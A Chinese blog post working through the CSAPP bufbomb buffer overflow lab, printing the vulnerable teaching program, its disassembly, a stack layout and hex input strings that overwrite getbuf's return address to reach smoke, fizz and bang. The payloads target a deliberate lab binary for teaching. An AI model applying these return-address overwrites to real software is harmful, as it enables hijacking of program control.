- 浏览: 73393 次
- 性别:
- 来自: 杭州
最新评论
csapp (《深入理解计算机系统》)一书中有一个关于缓冲区溢出的实验,其程序代码如下:
/* Bomb program that is solved using a buffer overflow attack */ #include <stdio.h> #include <stdlib.h> #include <ctype.h> #include <signal.h> #include <unistd.h> /* Signal handler to catch bus errors */ void bushandler(int sig) { printf("Crash!: You caused a bus error!\n"); printf("Better luck next time\n"); exit(0); } /* Signal handler to catch segmentation violations */ void seghandler(int sig) { printf("Ouch!: You caused a segmentation fault!\n"); printf("Better luck next time\n"); exit(0); } /* Alarm handler to catch infinite loops */ static int alarm_time = 600; void alarmhandler(int sig) { printf("Dead!: getbuf didn't complete within %d seconds\n", alarm_time); printf("Better luck next time\n"); exit(0); } /* Illegal instruction handler */ void illegalhandler(int sig) { printf("Oops!: You executed an illegal instruction\n"); printf("Better luck next time\n"); exit(0); } /* Like gets, except that characters are typed as pairs of hex digits. Nondigit characters are ignored. Stops when encounters newline */ char *getxs(char *dest) { int c; int even = 1; /* Have read even number of digits */ int otherd = 0; /* Other hex digit of pair */ char *sp = dest; while ((c = getchar()) != EOF && c != '\n') { if (isxdigit(c)) { int val; if ('0' <= c && c <= '9') val = c - '0'; else if ('A' <= c && c <= 'F') val = c - 'A' + 10; else val = c - 'a' + 10; if (even) { otherd = val; even = 0; } else { *sp++ = otherd * 16 + val; even = 1; } } } *sp++ = '\0'; return dest; } int getbuf() { char buf[16]; getxs(buf); return 1; } void test() { int val; printf("Type Hex String: "); val = getbuf(); printf("getbuf returned 0x%x\n", val); } void smoke() { printf("Smoke: You called smoke()\n"); exit(0); } void fizz(int val) { if (val == 0xdeadbeef) { printf("Fizz!: You called fizz (0x%x)\n", val); } else { printf("Misfire: You called fizz (0x%x)\n", val); } exit(0); } int global_value = 0; void bang() { if (global_value == 0xdeadbeef) { printf("Bang!: You set global_value to 0x%x\n", global_value); } else { printf("Misfire: global_value = 0x%x\n", global_value); } exit(0); } int main() { int buf[16]; /* This little hack is an attempt to get the stack to be in a stable position */ int offset = (((int) buf) & 0xFFFF); int *space = (int *) alloca(offset); *space = 0; /* So that don't get complaint of unused variable */ signal(SIGSEGV, seghandler); signal(SIGBUS, bushandler); signal(SIGALRM, alarmhandler); signal(SIGILL, illegalhandler); /* Set up time out condition */ alarm(alarm_time); test(); return 0; }
要求程序输出 Smoke!: You called smoke()
我所使用的系统环境(archlinux 2010.05, gcc 4.5.2, gdb 7.2, objdump(bintuils) 2.21):
该问题中关键的两个函数是test和getbuf,需要了解执行这两个函数的栈帧布局。
先运行
gcc -o bufbomb -g -Wall bufbomb.c
objdump -d bufbomb > bufbomb.s
这两条命令得到bufbomb.s,该文件中test和getbuf对应内容如下:
080486a6 <getbuf>: 80486a6: 55 push %ebp 80486a7: 89 e5 mov %esp,%ebp 80486a9: 83 ec 28 sub $0x28,%esp 80486ac: 8d 45 e8 lea -0x18(%ebp),%eax 80486af: 89 04 24 mov %eax,(%esp) 80486b2: e8 20 ff ff ff call 80485d7 <getxs> 80486b7: b8 01 00 00 00 mov $0x1,%eax 80486bc: c9 leave 80486bd: c3 ret 080486be <test>: 80486be: 55 push %ebp 80486bf: 89 e5 mov %esp,%ebp 80486c1: 83 ec 28 sub $0x28,%esp 80486c4: b8 ef 89 04 08 mov $0x80489ef,%eax 80486c9: 89 04 24 mov %eax,(%esp) 80486cc: e8 63 fd ff ff call 8048434 <printf@plt> 80486d1: e8 d0 ff ff ff call 80486a6 <getbuf> 80486d6: 89 45 f4 mov %eax,-0xc(%ebp) 80486d9: b8 01 8a 04 08 mov $0x8048a01,%eax 80486de: 8b 55 f4 mov -0xc(%ebp),%edx 80486e1: 89 54 24 04 mov %edx,0x4(%esp) 80486e5: 89 04 24 mov %eax,(%esp) 80486e8: e8 47 fd ff ff call 8048434 <printf@plt> 80486ed: c9 leave 80486ee: c3 ret
最左侧部分是汇编指令的内存地址,其中与 printf("getbuf returned 0x%x\n", val); 这一句对应的汇编语句为:
80486e1: 89 54 24 04 mov %edx,0x4(%esp) 80486e5: 89 04 24 mov %eax,(%esp) 80486e8: e8 47 fd ff ff call 8048434 <printf@plt>
其中的printf指令地址为0x080486e8,由于intel处理器采用小端法表示,所以实际表示为e8860408
执行gdb bufbomb命令,在getbuf函数设置断点(用break getbuf)
执行run命令,程序跳转至getbuff,然后用info reg查看寄存器内容,得到ebp值为0xbffeffb8
根据上面的反汇编结果可以知道,调用getbuf函数时的栈帧(假设是地址从高向低排列)表示如下:
---------------
-----------------
---------------
getbuf 返回地址
----------------
ebp
------------------
暂为空
-----------------
暂为空
----------------
buf[12]-buf[15]
----------------
buf[8]-buf[11]
----------------
buf[4]-buf[7]
----------------
buf[0]-buf[3]
-----------------
在从getbuf返回后,我们要求输出smoke函数内容,即将smoke的返回地址(0x080486ef,即ef860408)压入到getbuf所在地址处。因为smoke函数没有函数参数,所以不需要多余的处理.
接着运行bufbomb程序,提示输入字符串,我输入的字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf ef 86 04 08
输出结果为:Smoke: You called smoke()
其中前面24个字节为空(其实这些内容可以为任意值),接下来是ebp地址,它需要保持原来的内容。再然后是smoke函数的返回地址。
现在还没有完全完成所有的实验,还可以将返回地址设为fizz或者bang函数,然后也可以得到不同的输出结果。
例如,如果输入字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 0d 87 04 08 ,此时得到输出结果为:Misfire: You called fizz (0xb773bff4)
如果输入字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 0d 87 04 08 ef be ad de ef be ad de
可以得到输出结果为:Fizz!: You called fizz (0xdeadbeef)
这个例子中使用了fizz的返回地址(0x0804870d,可以在上面的反汇编代码中找到fizz标记左侧的地址即是,还有fizz的形参的内容不做修改和修改为0xefbeadde时 的情况)
如果输入字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 52 87 04 08 ,得到输出结果为Misfire: global_value = 0x0
如果输入字符串为00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 64 87 04 08 ,得到输出结果为Bang!: You set global_value to 0x0
这个例子是直接跳转到bang的返回地址(0x08048752)或者printf(“Bang!: You set global_value to 0x0")语句对应汇编语句的首地址(0x08048764)
参考链接:
buffer overflow on wikipedia
发表评论
-
最小c编译器
2011-11-08 14:09 1507最小c编译器(来源 (最好在linux下操作))代码有好几个 ... -
the development of c language(转)
2011-11-08 09:25 1356c语言之父Dennis Ritchie 写的关于c语言开发历 ... -
C语言,你真的弄懂了么?
2011-11-07 12:42 1780程序(来源 ): #include <stdi ... -
pe文件格式实例解析
2011-11-07 10:05 0环境:windows xp 速龙3000+(即x86兼容32位 ... -
小型elf "Hello,World"程序
2011-11-06 23:59 1384参考链接:http://timelessname.com/el ... -
elf文件格式实例解析
2011-11-05 23:00 6381试验环境:archlinux 速龙3000+(即x86兼 ... -
高质量的c源代码
2011-11-03 10:18 1189现在自由软件及开源软件越来越流行,有大量的附带源程序 ... -
fltk 库
2011-09-26 19:47 1863fltk是一个小型、开源、支持OpenGL 、跨平台(win ... -
《Introduction to Computing Systems: From bits and gates to C and beyond》
2011-09-25 23:33 2195很好的一本计算机的入门书,被很多学校采纳作为教材,作者Yale ... -
the blocks problem(uva 101 or poj 1208)
2011-09-11 20:57 1841题目描述见:uva 101 or poj 1208 ... -
the blocks problem(uva 101 or poj 1208)
2011-09-11 20:56 0题目描述见:uva 101 or poj 1208 ... -
部分排序算法c语言实现
2011-09-02 14:51 1027代码比较粗糙,主要是用于对排序算法的理解,因而忽略了边界和容错 ... -
编译器开发相关资源
2011-08-31 08:40 1225开发编译器相关的一些网络资源: how difficu ... -
zoj 1025 Wooden Sticks
2011-07-23 20:25 974题目见:zoj 1025 先对木棒按照长度进行排序,然后再计 ... -
zoj 1088 System Overload
2011-07-23 17:30 1179约瑟夫环 (josephus problem )问题, ... -
zoj 1091 Knight Moves
2011-07-23 09:05 858题目见zoj 1091 使用宽度搜索优先来求解, ... -
zoj 1078 palindrom numbers
2011-07-22 19:31 1154题目见zoj 1078 主要是判断一个整数在基数为2 ... -
zoj 1006 do the untwist
2011-07-22 13:24 946题目见zoj 1006 或poj 1317 简单 ... -
zoj 3488 conic section
2011-07-22 12:23 1019题目见zoj 3488 很简单的题目,却没能一次搞定,因 ... -
zoj 1005 jugs
2011-07-22 11:43 855题目内容见zoj1005 由于A,B互素且A的容 ...
相关推荐
### 缓冲区溢出实验:中科大csapp实验3 bufbomb #### 一、实验背景及目的 在计算机安全领域,缓冲区溢出是一种常见的攻击手段,它利用程序对缓冲区边界检查不严格的问题来执行恶意代码或篡改程序运行状态。本实验...
本次实验基于《Computer Systems: A Programmer's Perspective》(简称CSAPP)教材中的一个重要实验项目——bufbomb实验。该实验旨在帮助学习者深入理解IA-32架构下的函数调用机制与栈结构,并通过实践操作加深对...
"csapp经典炸弹实验"是计算机科学中一个著名的练习,主要目标是提升学生对计算机系统、内存管理和程序执行的理解。这个实验通常出现在操作系统或计算机体系结构的课程中,特别是那些基于《Computer Systems: A ...
《CSAPP性能优化实验》是计算机科学与应用(Computer Science and Application Programming)课程的一个实践环节,旨在提升学生对程序性能优化的理解与技能。在这个实验中,我将详细探讨三个关键的优化策略,并结合...
《深入理解计算机系统》(CSAPP)是一本广泛使用的计算机科学教材,它涵盖了计算机系统的基础知识,包括硬件、操作系统、编译器、网络和安全等多个领域。这份实验材料旨在通过实践帮助读者深化对这些概念的理解。 ...
《CSAPP的malloc实验》是计算机科学与应用(Computer Science and Programming in C)课程中的一个实践环节,旨在深入理解内存管理机制,特别是动态内存分配函数`malloc`的工作原理。在这个实验中,你将有机会亲自...
《CSAPP实验:深入理解“Bomb”炸弹破解》 计算机科学与编程实践(CSAPP)是一门深入探讨计算机系统原理的课程,其中的"Bomb"实验是教学过程中的一个重要环节。这个实验旨在帮助学生理解程序执行流程、内存管理以及...
**湖南大学CSAPP课程实验LAB1** CSAPP(Computer Systems: A Programmer's Perspective)是一门深入探讨计算机系统原理的课程,旨在帮助学生理解底层计算机工作原理,从而更好地编写高效的程序。在这一实验环节,...
《BUPT计算机系统csapp四次实验报告》 在计算机科学领域,实验是理解和掌握理论知识的重要途径。北京邮电大学(BUPT)的计算机系统课程(csapp)旨在通过实践教学,帮助学生深入理解计算机系统的运作原理。这份实验...
In this lab you will be writing a dynamic storage allocator for C programs, i.e., your own version of the malloc and free routines. It is quite involved. Start early! We are providing some extra ...
《CSAPP实验5:动态内存分配器》是一个深入理解计算机系统(Computer Systems: A Programmer's Perspective,简称CSAPP)课程中的重要实践环节。这个实验旨在让学习者掌握动态内存管理的基本原理,通过设计和实现一...
target1实验通常与CS:APP书中的“Buffer Overflow Attack”相关。这个实验旨在教授计算机系统的安全性,防止攻击者定位攻击和锻炼使用金丝雀防护,特别是关于缓冲区溢出漏洞的理解和利用。在这个实验中,尝试利用...
中科大程序设计与计算机系统,实验4,代码优化,亲测可用,版本优化相当高
CSAPP Lab3 attacklab实验源材料 深入理解计算机系统实验三缓冲区溢出攻击实验源材料
总结来说,CSAPP的malloc实验是一个深入学习内存管理的实践平台,它要求学生具备扎实的数据结构基础,理解操作系统内核级别的内存管理,以及具备问题解决和优化的能力。完成这个实验后,学生不仅能够更熟练地使用...
### CSAPP Lab2 实验指导说明 #### 一、实验背景与目的 在本次实验(CSAPP Lab2)中,学生们将面临一个充满挑战的任务:拆解并解除一系列所谓的“二进制炸弹”。这些炸弹是一种特殊的程序,由一系列阶段组成。每个...
【哈工大 CSAPP实验三优化】主要关注的是如何针对CPU和缓存(Cache)进行程序性能优化。在计算机系统中,CPU是执行指令的核心,而缓存则是提高CPU访问数据速度的关键组件。本实验旨在让学生理解并掌握优化技术,以...
在"csapp-lab"这个压缩包中,可能包含了与课程配套的实验指导、代码示例、练习题解答和相关的工具软件。 实验通常涵盖以下几个方面: 1. **汇编语言编程**:学习如何使用汇编语言编写程序,了解指令集架构,掌握...
《CSAPP lab5 实验材料》是一份针对计算机科学与应用基础课程(Computer Science Applicatoin Principles, 简称CSAPP)第五次实验的详细资料,旨在帮助学生深入理解计算机系统的基础概念和实际操作技能。在这个实验...